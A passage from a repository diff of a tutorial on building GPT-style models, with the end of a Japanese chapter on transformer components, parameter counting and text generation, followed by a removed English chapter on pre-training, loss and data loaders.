pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
out = model(batch)
print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **GELU活性化関数**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
```
#### **目的と機能**
- **GELU (ガウス誤差線形ユニット):** モデルに非線形性を導入する活性化関数。
- **スムーズな活性化:** 負の入力をゼロにするReLUとは異なり、GELUは負の入力に対して小さな非ゼロ値を許容し、入力を出力にスムーズにマッピングします。
- **数学的定義:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> FeedForward層内の線形層の後にこの関数を使用する目的は、線形データを非線形に変換し、モデルが複雑で非線形な関係を学習できるようにすることです。
### **フィードフォワードニューラルネットワーク**
_形状は行列の形状をよりよく理解するためにコメントとして追加されています:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **目的と機能**
- **位置ごとのフィードフォワードネットワーク:** 各位置に対して別々に、かつ同一に二層の全結合ネットワークを適用します。
- **層の詳細:**
- **最初の線形層:** 次元を `emb_dim` から `4 * emb_dim` に拡張します。
- **GELU活性化:** 非線形性を適用します。
- **第二の線形層:** 次元を元の `emb_dim` に戻します。
> [!NOTE]
> ご覧の通り、フィードフォワードネットワークは3層を使用しています。最初の層は線形層で、線形重みモデル内でトレーニングするパラメータを使用して次元を4倍にします。その後、GELU関数がすべての次元に適用され、より豊かな表現を捉えるための非線形変化が行われ、最後に別の線形層が使用されて元の次元サイズに戻ります。
### **マルチヘッドアテンションメカニズム**
これは以前のセクションで説明されました。
#### **目的と機能**
- **マルチヘッド自己注意:** トークンをエンコードする際に、モデルが入力シーケンス内の異なる位置に焦点を合わせることを可能にします。
- **主要なコンポーネント:**
- **クエリ、キー、値:** 入力の線形射影で、注意スコアを計算するために使用されます。
- **ヘッド:** 複数の注意メカニズムが並行して実行されます(`num_heads`)、それぞれが縮小された次元(`head_dim`)を持ちます。
- **注意スコア:** クエリとキーのドット積として計算され、スケーリングとマスキングが行われます。
- **マスキング:** 将来のトークンにモデルが注意を向けないように因果マスクが適用されますGPTのような自己回帰モデルにとって重要です
- **注意重み:** マスクされたスケーリングされた注意スコアのソフトマックス。
- **コンテキストベクトル:** 注意重みに従った値の加重和。
- **出力射影:** すべてのヘッドの出力を結合するための線形層。
> [!NOTE]
> このネットワークの目標は、同じコンテキスト内のトークン間の関係を見つけることです。さらに、トークンは異なるヘッドに分割され、最終的に見つかった関係はこのネットワークの最後で結合されるため、過学習を防ぎます。
>
> さらに、トレーニング中に**因果マスク**が適用され、特定のトークンに対する関係を見ているときに後のトークンが考慮されないようにし、**ドロップアウト**も適用されて**過学習を防ぎます**。
### **層** 正規化
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5 # Prevent division by zero during normalization.
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
#### **目的と機能**
- **レイヤー正規化:** バッチ内の各個別の例に対して、特徴(埋め込み次元)全体の入力を正規化するために使用される技術。
- **コンポーネント:**
- **`eps`:** 正規化中のゼロ除算を防ぐために分散に追加される小さな定数(`1e-5`)。
- **`scale``shift`:** 正規化された出力をスケールおよびシフトするためにモデルが学習可能なパラメータ(`nn.Parameter`。それぞれ1と0で初期化される。
- **正規化プロセス:**
- **平均の計算(`mean`:** 埋め込み次元(`dim=-1`)に沿った入力 `x` の平均を計算し、ブロードキャストのために次元を保持する(`keepdim=True`)。
- **分散の計算(`var`:** 埋め込み次元に沿った `x` の分散を計算し、同様に次元を保持する。`unbiased=False` パラメータは、バイアス推定量を使用して分散が計算されることを保証する(`N` で割る代わりに `N-1` で割る)。これは、サンプルではなく特徴に対して正規化する際に適切である。
- **正規化(`norm_x`:** `x` から平均を引き、分散に `eps` を加えた平方根で割る。
- **スケールとシフト:** 正規化された出力に学習可能な `scale``shift` パラメータを適用する。
> [!NOTE]
> 目標は、同じトークンのすべての次元にわたって平均が0、分散が1になるようにすることです。これにより、**深層ニューラルネットワークのトレーニングを安定させる**ことが目的であり、これはトレーニング中のパラメータの更新によるネットワークの活性化の分布の変化を指す内部共変量シフトを減少させることを意味します。
### **トランスフォーマーブロック**
_行列の形状をよりよく理解するために、コメントとして形状が追加されています:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"]
)
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for attention block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for feedforward block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **目的と機能**
- **層の構成:** マルチヘッドアテンション、フィードフォワードネットワーク、レイヤーノーマライゼーション、残差接続を組み合わせる。
- **レイヤーノーマライゼーション:** 安定したトレーニングのためにアテンションとフィードフォワード層の前に適用される。
- **残差接続(ショートカット):** 層の入力を出力に加えて勾配の流れを改善し、深いネットワークのトレーニングを可能にする。
- **ドロップアウト:** 正則化のためにアテンションとフィードフォワード層の後に適用される。
#### **ステップバイステップの機能**
1. **最初の残差パス(自己アテンション):**
- **入力(`shortcut`:** 残差接続のために元の入力を保存する。
- **レイヤーノーム(`norm1`:** 入力を正規化する。
- **マルチヘッドアテンション(`att`:** 自己アテンションを適用する。
- **ドロップアウト(`drop_shortcut`:** 正則化のためにドロップアウトを適用する。
- **残差を加える(`x + shortcut`:** 元の入力と組み合わせる。
2. **2番目の残差パスフィードフォワード:**
- **入力(`shortcut`:** 次の残差接続のために更新された入力を保存する。
- **レイヤーノーム(`norm2`:** 入力を正規化する。
- **フィードフォワードネットワーク(`ff`:** フィードフォワード変換を適用する。
- **ドロップアウト(`drop_shortcut`:** ドロップアウトを適用する。
- **残差を加える(`x + shortcut`:** 最初の残差パスからの入力と組み合わせる。
> [!NOTE]
> トランスフォーマーブロックはすべてのネットワークをグループ化し、トレーニングの安定性と結果を改善するためにいくつかの**正規化**と**ドロップアウト**を適用します。\
> 各ネットワークの使用後にドロップアウトが行われ、正規化が前に適用されることに注意してください。
>
> さらに、ショートカットを使用しており、これは**ネットワークの出力をその入力に加える**ことから成ります。これにより、初期層が最後の層と「同じくらい」寄与することを確実にすることで、消失勾配問題を防ぐのに役立ちます。
### **GPTModel**
_形状を理解するためにコメントとして形状が追加されています:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
# shape: (vocab_size, emb_dim)
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
# shape: (context_length, emb_dim)
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
)
# Stack of TransformerBlocks
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
# shape: (emb_dim, vocab_size)
def forward(self, in_idx):
# in_idx shape: (batch_size, seq_len)
batch_size, seq_len = in_idx.shape
# Token embeddings
tok_embeds = self.tok_emb(in_idx)
# shape: (batch_size, seq_len, emb_dim)
# Positional embeddings
pos_indices = torch.arange(seq_len, device=in_idx.device)
# shape: (seq_len,)
pos_embeds = self.pos_emb(pos_indices)
# shape: (seq_len, emb_dim)
# Add token and positional embeddings
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
# x shape: (batch_size, seq_len, emb_dim)
x = self.drop_emb(x) # Dropout applied
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.trf_blocks(x) # Pass through Transformer blocks
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.final_norm(x) # Final LayerNorm
# x shape remains: (batch_size, seq_len, emb_dim)
logits = self.out_head(x) # Project to vocabulary size
# logits shape: (batch_size, seq_len, vocab_size)
return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **目的と機能**
- **埋め込み層:**
- **トークン埋め込み (`tok_emb`):** トークンインデックスを埋め込みに変換します。これは、語彙内の各トークンの各次元に与えられる重みです。
- **位置埋め込み (`pos_emb`):** 埋め込みに位置情報を追加してトークンの順序を捉えます。これは、テキスト内の位置に応じてトークンに与えられる重みです。
- **ドロップアウト (`drop_emb`):** 正則化のために埋め込みに適用されます。
- **トランスフォーマーブロック (`trf_blocks`):** 埋め込みを処理するための `n_layers` トランスフォーマーブロックのスタックです。
- **最終正規化 (`final_norm`):** 出力層の前の層正規化です。
- **出力層 (`out_head`):** 最終的な隠れ状態を語彙サイズに投影して予測のためのロジットを生成します。
> [!NOTE]
> このクラスの目的は、**シーケンス内の次のトークンを予測する**ために、他のすべてのネットワークを使用することです。これはテキスト生成のようなタスクにとって基本的です。
>
> 指定された数のトランスフォーマーブロックを**使用する**ことに注意してください。また、各トランスフォーマーブロックは1つのマルチヘッドアテンションネット、1つのフィードフォワードネット、およびいくつかの正規化を使用しています。したがって、12のトランスフォーマーブロックが使用される場合は、これを12倍します。
>
> さらに、**出力**の**前に**正規化層が追加され、最後に適切な次元で結果を得るために最終線形層が適用されます。各最終ベクトルが使用される語彙のサイズを持つことに注意してください。これは、語彙内の可能なトークンごとに確率を得ようとしているためです。
## トレーニングするパラメータの数
GPT構造が定義されると、トレーニングするパラメータの数を見つけることが可能です:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
model = GPTModel(GPT_CONFIG_124M)
total_params = sum(p.numel() for p in model.parameters())
print(f"Total number of parameters: {total_params:,}")
# Total number of parameters: 163,009,536
```
### **ステップバイステップ計算**
#### **1. 埋め込み層: トークン埋め込み & 位置埋め込み**
- **層:** `nn.Embedding(vocab_size, emb_dim)`
- **パラメータ:** `vocab_size * emb_dim`
```python
token_embedding_params = 50257 * 768 = 38,597,376
```
- **レイヤー:** `nn.Embedding(context_length, emb_dim)`
- **パラメータ:** `context_length * emb_dim`
```python
position_embedding_params = 1024 * 768 = 786,432
```
**総埋め込みパラメータ**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. トランスフォーマーブロック**
トランスフォーマーブロックは12個あるので、1つのブロックのパラメータを計算し、それを12倍します。
**トランスフォーマーブロックごとのパラメータ**
**a. マルチヘッドアテンション**
- **コンポーネント:**
- **クエリ線形層 (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **キー線形層 (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **バリュー線形層 (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **出力プロジェクション (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **計算:**
- **`W_query``W_key``W_value`のそれぞれ:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
このような層が3つあるので:
```python
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **出力プロジェクション (`out_proj`):**
```python
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **マルチヘッドアテンションの総パラメータ:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. フィードフォワードネットワーク**
- **コンポーネント:**
- **最初の線形層:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **2番目の線形層:** `nn.Linear(4 * emb_dim, emb_dim)`
- **計算:**
- **最初の線形層:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **2番目の線形層:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **フィードフォワードの総パラメータ:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. レイヤーノーマライゼーション**
- **コンポーネント:**
- 各ブロックに2つの`LayerNorm`インスタンス。
- 各`LayerNorm``2 * emb_dim`のパラメータ(スケールとシフト)を持つ。
- **計算:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. トランスフォーマーブロックごとの総パラメータ**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**すべてのトランスフォーマーブロックの合計パラメータ**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```
#### **3. 最終層**
**a. 最終層正規化**
- **パラメータ:** `2 * emb_dim` (スケールとシフト)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**b. 出力投影層 (`out_head`)**
- **層:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **パラメータ:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. すべてのパラメータの合計**
```python
pythonCopy codetotal_params = (
embedding_params +
total_transformer_blocks_params +
final_layer_norm_params +
output_projection_params
)
total_params = (
39,383,808 +
85,026,816 +
1,536 +
38,597,376
)
total_params = 163,009,536
```
## テキスト生成
次のトークンを予測するモデルがあれば、出力から最後のトークンの値を取得するだけで済みます(それが予測されたトークンのものになるため)、これは**語彙内の各エントリに対する値**となり、次に`softmax`関数を使用して次元を確率に正規化し、合計が1になるようにし、最大のエントリのインデックスを取得します。これが語彙内の単語のインデックスになります。
コードは [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) からです。
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
for _ in range(max_new_tokens):
# Crop current context if it exceeds the supported context size
# E.g., if LLM supports only 5 tokens, and the context size is 10
# then only the last 5 tokens are used as context
idx_cond = idx[:, -context_size:]
# Get the predictions
with torch.no_grad():
logits = model(idx_cond)
# Focus only on the last time step
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
logits = logits[:, -1, :]
# Apply softmax to get probabilities
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
# Get the idx of the vocab entry with the highest probability value
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
# Append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
return idx
start_context = "Hello, I am"
encoded = tokenizer.encode(start_context)
print("encoded:", encoded)
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
print("encoded_tensor.shape:", encoded_tensor.shape)
model.eval() # disable dropout
out = generate_text_simple(
model=model,
idx=encoded_tensor,
max_new_tokens=6,
context_size=GPT_CONFIG_124M["context_length"]
)
print("Output:", out)
print("Output length:", len(out[0]))
```
## 参考文献
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,970 +0,0 @@
# 6. Pre-training & Loading models
## Text Generation
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
> [!TIP]
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
## Text Evaluation
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base*e*) of **7.4541e-05** is approximately **-9.5042**.\
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
## Pre-Train Example
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
<details>
<summary>Previous code used here but already explained in previous sections</summary>
```python
"""
This is code explained before so it won't be exaplained
"""
import tiktoken
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True, num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
return dataloader
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed-forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
```
</details>
```python
# Download contents to train the data with
import os
import urllib.request
file_path = "the-verdict.txt"
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
if not os.path.exists(file_path):
with urllib.request.urlopen(url) as response:
text_data = response.read().decode('utf-8')
with open(file_path, "w", encoding="utf-8") as file:
file.write(text_data)
else:
with open(file_path, "r", encoding="utf-8") as file:
text_data = file.read()
total_characters = len(text_data)
tokenizer = tiktoken.get_encoding("gpt2")
total_tokens = len(tokenizer.encode(text_data))
print("Data downloaded")
print("Characters:", total_characters)
print("Tokens:", total_tokens)
# Model initialization
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 256, # Shortened context length (orig: 1024)
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-key-value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.eval()
print ("Model initialized")
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
# Apply Train/validation ratio and create dataloaders
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
